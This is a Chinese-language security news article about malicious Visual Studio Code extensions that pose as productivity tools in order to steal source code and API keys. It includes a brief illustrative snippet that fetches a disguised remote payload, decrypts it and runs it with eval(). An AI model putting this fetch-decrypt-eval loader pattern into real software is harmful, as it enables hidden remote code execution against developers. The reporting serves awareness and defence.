网络安全研究人员发现了一场令人不安的攻击活动,该活动通过恶意的 Visual Studio Code 扩展程序来针对软件开发人员,这些恶意扩展程序累计已被安装了数百万次。
这些被篡改的扩展程序伪装成合法的提高工作效率的工具,在开发人员专注于编程任务时,秘密地执行恶意代码。
这些扩展程序在隐藏其真实目的的同时,看起来功能完备,由于它们在行业内最受信任的开发环境之一中运行,因此格外危险。
这场恶意软件攻击活动主要针对的是 JavaScript 和 Python 开发人员,这些扩展程序声称具备代码格式化、代码片段生成以及自动化功能等特性。
一旦安装,这些扩展程序就能访问本地文件,有可能窃取存储在开发环境中的源代码、应用程序编程接口(API)密钥以及其他敏感信息。
安全专家警告称,这些扩展程序有可能在软件开发过程中为软件创建后门,从而在生产系统中引入漏洞。
ExtensionTotal 的分析师兼研究员 Yuval Ronen 指出,这次攻击的复杂性表明,背后是有组织的威胁行为者,而不是机会主义的黑客。
Ronen 在分析了几个恶意扩展程序后解释道:“这些扩展程序不仅仅是在窃取凭据;它们被设计为能够保持持续存在,并有可能引入一些细微的漏洞,这些漏洞日后可能会被用于攻击已部署的应用程序。”
这次攻击利用了 Visual Studio Code 强大的扩展生态系统,该生态系统允许开发人员使用数千个由社区创建的工具来自定义他们的开发环境。
尽管 Microsoft 实施了安全措施,但扩展程序数量众多,给全面审查带来了挑战。
许多恶意扩展程序最初进入市场时代码是干净的,只是后来通过更新引入了恶意功能。
感染机制揭示了先进的技术手段
主要的感染机制采用了多阶段的方法来逃避检测。
最初,扩展程序在加载合法功能的同时,会下载一个伪装成配置数据的加密有效载荷。
然后,这个有效载荷会使用 JavaScript 的 eval () 函数进行解密和执行:
const decrypt = (data, key) => {
// 解密逻辑
return decryptedPayload;};
const config = await fetch(‘https://legitimate-looking-domain.com/config.json’);const payload = decrypt(config.data, process.env.SOME_ENV_VAR);eval(payload); // 执行恶意代码
这种技术使得恶意软件能够绕过静态代码分析工具,因为恶意代码从未直接出现在扩展程序的源代码中。
这些扩展程序在部署其有效载荷之前,还会检查调试环境和安全工具,显示出了复杂的反分析能力。
发表评论
您还未登录,请先登录。
登录